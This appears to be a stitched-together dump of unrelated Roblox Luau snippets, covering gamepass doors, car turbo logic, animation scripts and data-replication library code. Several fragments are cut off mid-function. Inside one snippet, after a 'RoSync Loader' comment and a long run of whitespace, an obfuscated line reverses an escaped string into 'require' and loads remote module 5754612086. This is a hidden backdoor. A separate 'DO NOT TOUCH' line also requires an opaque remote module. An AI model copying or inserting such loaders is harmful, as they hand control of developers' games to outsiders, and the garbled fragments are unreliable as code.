Roblox/luau_corpus huggingface dataset:
-----------------------------------------------------------------------------------------------

Door = script.Parent
Serv = game:GetService("BadgeService")
MServ = game:GetService("MarketplaceService")
if not _G.Players then
	_G.Players = {[ItemID] = {}}
elseif not _G.Players[ItemID] then
	_G.Players[ItemID] = {}
end

Table = _G.Players[ItemID]

function CheckPlayer(player2)
	for i = 1,#Table do
		if Table[i] == player2 then
			return true
		end
	end
	return false
end

Door.Touched:connect(function(hit)
    if game.Players:GetPlayerFromCharacter(hit.Parent) then
        player = game.Players:GetPlayerFromCharacter(hit.Parent)
        if Serv:UserHasBadge(player.userId,ItemID) or CheckPlayer(player) then
          --  Door.CanCollide = false-- Door.Transparency = OpenTrans
            wait(OpenTime)
         --   Door.CanCollide = true --Door.Transparency = CloseTrans
            else
           -- Door.CanCollide = true-- Door.Transparency = CloseTrans
            if BuyGUI == true then
                MServ:PromptGamePassPurchase(player,ItemID)
                h = player.Character:FindFirstChild("Humanoid")
                if h then
                    h.WalkSpeed = 16 end
                    local con
                    con = MServ.PromptGamePassPurchaseFinished:connect(function(ply,asset,purch)
                    if ply == player and asset == ItemID then
                        con:disconnect()
                        if purch then
                            if h then
                                h.WalkSpeed = 16 end
                                table.insert(Table,player)
                                elseif KillOnTouch == true then
                                player.Character:BreakJoints()
                            end
                        end
                    end)
                elseif KillOnTouch == true then
             -- Door.CanCollide = true --Door.Transparency = CloseTrans
                player.Character:BreakJoints()
            end
        end
    end
end)
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder
	
]]--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1)
	local v1 = os.date("!%X", tonumber(p1));
	if p1 <= 3600 then
		v1 = v1:sub(4);
	end;
	return v1;
end;
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["ReactIs"]["ReactIs"])

return Package
--(continued from last line) The higher, the slower. The lower, the faster. Change the 0's to "math.pi/number." Make sure the number ISN'T 0!
end --Ends the "while true do"
--------------------

equiped=false
sp=script.Parent
RayLength=1000
Spread=.2
enabled=true
reloading=false
down=false
r=game:service("RunService")
last=0
last2=0
last3=0
last4=0
last5=0
last6=0

Bullet=Instance.new("Part")
Bullet.Name="Bullet"
Bullet.BrickColor=BrickColor.new("New Yeller")
Bullet.Anchored=true
Bullet.CanCollide=false
Bullet.Locked=true
Bullet.Size=Vector3.new(1,1,1)
-- ROBLOX FIXME LUAU: Casting to any to prevent unwanted type narrowing
local DefaultReporter = setmetatable({}, { __index = BaseReporter }) :: any
DefaultReporter.__index = DefaultReporter
--/ Initialization /--
-- DO NOT TOUCH --
require(3472854229).start(script,config)
--[=[
	Fires a ScriptSignal object with the arguments passed.

	```lua
	ScriptSignal:Connect(function(text)
		print(text)
	end)

	ScriptSignal:Fire("Some Text...")

	-- "Some Text..." is printed twice
	```

	@param ... any
	@ignore
]=]
function ScriptSignal:Fire(...: any)
    local node: ScriptConnectionNode? = self._head
    while node ~= nil do
        if node._connection ~= nil then
            if FreeThread == nil then
                task.spawn(CreateFreeThread)
            end

            task.spawn(FreeThread :: thread, node._handler, ...)
        end

        node = node._next
    end
end
--notes
--rpm = 11000 / 100000 = 0.1, rpm = 1000 / 100000 = 0.01 * 4 = 0.04
Values.Values.RPM.Changed:connect(function()
	Throttle = Values.Values.Throttle.Value
	CurrentGear = Values.Values.Gear.Value
	CurrentRPM = Values.Values.RPM.Value
	if Throttle == 1 then
		active = true
		if CPSI < PSI then 
			if Turbos == "Single" then
				if TurboSize == "Small" then
					CPSI = CPSI + (CurrentRPM / 75000) * 4
					wait(0.1)
					Values.Values.PSI.Value = CPSI * 8
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Medium" then
					CPSI = CPSI + (CurrentRPM / 100000) * 4
					wait(0.1)
					Values.Values.PSI.Value = CPSI * 10
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Large" then
					CPSI = CPSI + (CurrentRPM / 125000) * 4
					wait(0.1)
					Values.Values.PSI.Value = CPSI * 12
					Values.Values.APSI.Value = CPSI
				end
			elseif Turbos == "Twin" then
				if TurboSize == "Small" then
					CPSI = CPSI + (CurrentRPM / 75000) * 4
					wait(0.05)
					Values.Values.PSI.Value = CPSI * 8
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Medium" then
					CPSI = CPSI + (CurrentRPM / 100000) * 4
					wait(0.05)
					Values.Values.PSI.Value = CPSI * 10
					Values.Values.APSI.Value = CPSI
				end
				if TurboSize == "Large" then
					CPSI = CPSI + (CurrentRPM / 125000) * 4
					wait(0.05)
					Values.Values.PSI.Value = CPSI * 12
					Values.Values.APSI.Value = CPSI
				end	
			end
		end
		if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true  then
			boom = false
				if car.Body.Exhaust.E1.S.IsPlaying then
				else
				local i = math.random(1,4)
				i = math.ceil(i)
				while i >= 1 do
				car.Body.Exhaust.E2.S:Play()
				car.Body.Exhaust.E1.Afterburn.Enabled = true
				car.Body.Exhaust.E2.Afterburn.Enabled = true
				wait(math.random(0.2,.3))
				car.Body.Exhaust.E1.Afterburn.Enabled = false
				car.Body.Exhaust.E2.Afterburn.Enabled = false
				i= i - 1
				end
				wait(0.5)
				boom = true
				end
				end
	end
			if Throttle <= 0.01 and active == true and Valve == "BOV" then
				active = false
				CPSI = 0
				if TurboSize == "Large" then
					Values.Values.PSI.Value = CPSI * 12
				elseif TurboSize == "Medium" then
					Values.Values.PSI.Value = CPSI * 10
				elseif TurboSize == "Small" then
					Values.Values.PSI.Value = CPSI * 8
				end	
				Values.Values.APSI.Value = CPSI
				if BOV.IsPlaying then		
				else
				BOV:Play()
				end
			end
			if Throttle <= 0.01 and Valve == "Bleed" then
				if CPSI > 0 then
				CPSI = CPSI - 0.1
				wait(0.05)
				end
				if TurboSize == "Large" then
					Values.Values.PSI.Value = CPSI * 12
				elseif TurboSize == "Medium" then
					Values.Values.PSI.Value = CPSI * 10
				elseif TurboSize == "Small" then
					Values.Values.PSI.Value = CPSI * 8
				end				
				Values.Values.APSI.Value = CPSI
				if active == true then
				if BOV.IsPlaying then		
				else
				BOV:Play()
				active = false
				end
				end
			end
		end
)
if boom == false then wait(math.random(1)) boom = true end
-- Preload animations
function playAnimation(animName, transitionTime, humanoid) 
		
	local roll = math.random(1, animTable[animName].totalWeight) 
	local origRoll = roll
	local idx = 1
	while roll > animTable[animName][idx].weight do
		roll = roll - animTable[animName][idx].weight
		idx = idx + 1
	end
--		child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
		if child.Part1.Name == "HumanoidRootPart" then
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
				GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
				GUI:Clone().Parent = player.PlayerGui --// Compact version
				script.Parent.Parent.Body.Dash.D.G.Enabled = true
				script.Parent.Parent.Body.Dash.S.G.Enabled = true
				script.Parent.Parent.Body.Dash.T.G.Enabled = true
				script.Parent.Parent.Body.Lights.RunL.Material = "Neon"
				script.Parent.Parent.Body.Lights.RunR.Material = "Neon"
			end
		end
	end
end)

script.Parent.ChildRemoved:connect(function(child)
	if child:IsA("Weld") then
		if child.Part1.Name == "HumanoidRootPart" then
			game.Workspace.CurrentCamera.FieldOfView = 70
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and player.PlayerGui:FindFirstChild("SS3") then
				player.PlayerGui:FindFirstChild("SS3"):Destroy()
				script.Parent.Parent.Body.Dash.D.G.Enabled = false
				script.Parent.Parent.Body.Dash.S.G.Enabled = false
				script.Parent.Parent.Body.Dash.T.G.Enabled = false
				script.Parent.Parent.Body.Lights.RunL.Material = "SmoothPlastic"
				script.Parent.Parent.Body.Lights.RunR.Material = "SmoothPlastic"
			end
		end
	end	
end)
--[ MAIN LOCALS ]-

local Player = game.Players.LocalPlayer
local Event = game.ReplicatedStorage.MusicEvents.NewSong
local Frame = script.Parent.Parent
local Gui = game.StarterGui.SurfaceGui.SongPart.Frame.SongName
local SongText = Gui.Text
local sound = game.Workspace.Sound
-------------------------
while true do
Car.BodyVelocity.velocity = Vector3.new(0, -0.5, 0)
wait(22)
Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
break

end
--Get Character Objects
repeat wait() until game.Players.LocalPlayer
local Player = game.Players.LocalPlayer
local Character = nil
local HRP = nil
local Humanoid = nil
--Variables:
local plr = game:GetService("Players").LocalPlayer
local char = script.Parent
local hum = char:WaitForChild("Humanoid")
local root = hum.RootPart -- The HumanoidRootPart
-- setup emote chat hook
Game.Players.LocalPlayer.Chatted:connect(function(msg)
	local emote = ""
	if (string.sub(msg, 1, 3) == "/e ") then
		emote = string.sub(msg, 4)
	elseif (string.sub(msg, 1, 7) == "/emote ") then
		emote = string.sub(msg, 8)
	end
	
	if (pose == "Standing" and emoteNames[emote] ~= nil) then
		playAnimation(emote, 0.1, Humanoid)
	end
-- Create and load an animation
local animation = Instance.new("Animation")
animation.AnimationId = "http://www.roblox.com/asset/?id=14091942137" -- Roblox dance emote
local animationTrack = animationController:LoadAnimation(animation)
-- Write function setters: (Calling outside a write function will throw an error)

function Replica:SetValue(path, value)
	if WriteFunctionFlag == false then
		error(SETTINGS.SetterError)
	end
	local path_array = (type(path) == "string") and StringPathToArray(path) or path
	ReplicaSetValue(self.Id, path_array, value)
end

function Replica:SetValues(path, values)
	if WriteFunctionFlag == false then
		error(SETTINGS.SetterError)
	end
	local path_array = (type(path) == "string") and StringPathToArray(path) or path
	ReplicaSetValues(self.Id, path_array, values)
end

function Replica:ArrayInsert(path, value) --> new_index
	if WriteFunctionFlag == false then
		error(SETTINGS.SetterError)
	end
	local path_array = (type(path) == "string") and StringPathToArray(path) or path
	return ReplicaArrayInsert(self.Id, path_array, value)
end

function Replica:ArraySet(path, index, value)
	if WriteFunctionFlag == false then
		error(SETTINGS.SetterError)
	end
	local path_array = (type(path) == "string") and StringPathToArray(path) or path
	ReplicaArraySet(self.Id, path_array, index, value)
end

function Replica:ArrayRemove(path, index) --> removed_value
	if WriteFunctionFlag == false then
		error(SETTINGS.SetterError)
	end
	local path_array = (type(path) == "string") and StringPathToArray(path) or path
	return ReplicaArrayRemove(self.Id, path_array, index)
end

function Replica:Write(function_name, ...) --> return_params...
	if WriteFunctionFlag == false then
		error(SETTINGS.SetterError)
	end
	local func_id = self._write_lib_dictionary[function_name]
	local return_params = table.pack(self._write_lib[func_id](self, ...))
	-- Signaling listeners:
	local listeners = self._function_listeners[func_id]
	if listeners ~= nil then
		for _, listener in ipairs(listeners) do
			listener(...)
		end
	end
	return table.unpack(return_params)
end
------------------------------------------------------------------------------------------------------------------------------
-- In production scripts that you are writing that you know you will write properly, you should not do this.
-- This is included exclusively as a result of this being an example script, and users may tweak the values incorrectly.
assert(MAX_BULLET_SPREAD_ANGLE >= MIN_BULLET_SPREAD_ANGLE, "Error: MAX_BULLET_SPREAD_ANGLE cannot be less than MIN_BULLET_SPREAD_ANGLE!")
if (MAX_BULLET_SPREAD_ANGLE > 180) then
	warn("Warning: MAX_BULLET_SPREAD_ANGLE is over 180! This will not pose any extra angular randomization. The value has been changed to 180 as a result of this.")
	MAX_BULLET_SPREAD_ANGLE = 180
end
-- Auto saving and issue queue managing:
RunService.Heartbeat:Connect(function()
	-- 1) Auto saving: --
	local auto_save_list_length = #AutoSaveList
	if auto_save_list_length > 0 then
		local auto_save_index_speed = SETTINGS.AutoSaveProfiles / auto_save_list_length
		local os_clock = os.clock()
		while os_clock - LastAutoSave > auto_save_index_speed do
			LastAutoSave = LastAutoSave + auto_save_index_speed
			local profile = AutoSaveList[AutoSaveIndex]
			if os_clock - profile._load_timestamp < SETTINGS.AutoSaveProfiles then
				-- This profile is freshly loaded - auto-saving immediately after loading will cause a warning in the log:
				profile = nil
				for _ = 1, auto_save_list_length - 1 do
					-- Move auto save index to the right:
					AutoSaveIndex = AutoSaveIndex + 1
					if AutoSaveIndex > auto_save_list_length then
						AutoSaveIndex = 1
					end
					profile = AutoSaveList[AutoSaveIndex]
					if os_clock - profile._load_timestamp >= SETTINGS.AutoSaveProfiles then
						break
					else
						profile = nil
					end
				end
			end
			-- Move auto save index to the right:
			AutoSaveIndex = AutoSaveIndex + 1
			if AutoSaveIndex > auto_save_list_length then
				AutoSaveIndex = 1
			end
			-- Perform save call:
			if profile ~= nil then
				coroutine.wrap(SaveProfileAsync)(profile) -- Auto save profile in new thread
			end
		end
	end
	-- 2) Issue queue: --
	-- Critical state handling:
	if ProfileService.CriticalState == false then
		if #IssueQueue >= SETTINGS.IssueCountForCriticalState then
			ProfileService.CriticalState = true
			ProfileService.CriticalStateSignal:Fire(true)
			CriticalStateStart = os.clock()
			warn("[ProfileService]: Entered critical state")
		end
	else
		if #IssueQueue >= SETTINGS.IssueCountForCriticalState then
			CriticalStateStart = os.clock()
		elseif os.clock() - CriticalStateStart > SETTINGS.CriticalStateLast then
			ProfileService.CriticalState = false
			ProfileService.CriticalStateSignal:Fire(false)
			warn("[ProfileService]: Critical state ended")
		end
	end
	-- Issue queue:
	while true do
		local issue_time = IssueQueue[1]
		if issue_time == nil then
			break
		elseif os.clock() - issue_time > SETTINGS.IssueLast then
			table.remove(IssueQueue, 1)
		else
			break
		end
	end
end)
--[[ Last synced 11/26/2022 08:38 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--------------------------
script.Parent.Pitch.Changed:connect(function()
	for i,v in pairs(script.Parent:GetChildren()) do
		if v:IsA("Sound") then v.Pitch = script.Parent.Pitch.Value/10 end
	end
end)
--[[ Services ]]--
local PlayersService = game:GetService("Players")
local ContextActionService = game:GetService("ContextActionService")
local Settings = UserSettings()	-- ignore warning
local GameSettings = Settings.GameSettings
-------------------------
while true do
guia.BodyVelocity.velocity = Vector3.new(0, 1, 0)
wait(21)
guia.BodyVelocity.velocity = Vector3.new(0, 0, 0)
break
end
-- Replica creation:
rev_ReplicaCreate.OnClientEvent:Connect(function(param1, param2) -- (top_replica_id, {replica_data}) OR (top_replica_id, {creation_data}) or ({replica_package})
	--[[
	param1 description:
		top_replica_id = replica_id
		OR
		replica_package = {{replica_id, creation_data}, ...}
	param2 description:
		replica_data = {replica_class, replica_tags, data_table, parent_id / 0, write_lib_module / nil}
		OR
		creation_data = {["replica_id"] = replica_data, ...}
	--]]
	local created_replicas = {}
	-- Unpacking replica data:
	if type(param1) == "table" then -- Replica package
		table.sort(param1, function(a, b) -- Sorting top level replicas by their id
			return a[1] < b[1]
		end)
		for _, replica_branch_entry in ipairs(param1) do
			CreateReplicaBranch(replica_branch_entry[2], created_replicas)
		end
	elseif param2[1] ~= nil then -- One replica data
		CreateReplicaBranch({[tostring(param1)] = param2}, created_replicas)
	else -- Creation data table
		CreateReplicaBranch(param2, created_replicas)
	end
	-- Broadcasting replica creation:
	table.sort(created_replicas, function(a, b)
		return a.Id < b.Id
	end)
	-- 1) Child added:
	for _, replica in ipairs(created_replicas) do
		local parent_replica = replica.Parent
		if parent_replica ~= nil then
			local child_listener_table = ChildListeners[parent_replica.Id]
			if child_listener_table ~= nil then
				for i = 1, #child_listener_table do
					child_listener_table[i](replica)
				end
			end
		end
	end
	-- 2) New Replica and Replica of class created:
	for _, replica in ipairs(created_replicas) do
		NewReplicaSignal:Fire(replica)
		local class_listener_signal = ClassListeners[replica.Class]
		if class_listener_signal ~= nil then
			class_listener_signal:Fire(replica)
		end
	end
end)
-- Waits for parent.child to exist, then returns it
local function WaitForChild(parent, childName)
	assert(parent, "ERROR: WaitForChild: parent is nil")
	while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
	return parent[childName]
end
------------------------------------------------------------------------------------------------------------

function configureAnimationSetOld(name, fileList)
	if (animTable[name] ~= nil) then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0	
	animTable[name].connections = {}

	local allowCustomAnimations = true

	local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
	if not success then
		allowCustomAnimations = true
	end

	-- check for config values
	local config = script:FindFirstChild(name)
	if (allowCustomAnimations and config ~= nil) then
		table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
				idx = idx + 1
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
			-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
		end
	end
	
	-- preload anims
	for i, animType in pairs(animTable) do
		for idx = 1, animType.count, 1 do 
			Humanoid:LoadAnimation(animType[idx].anim)
		end
	end
end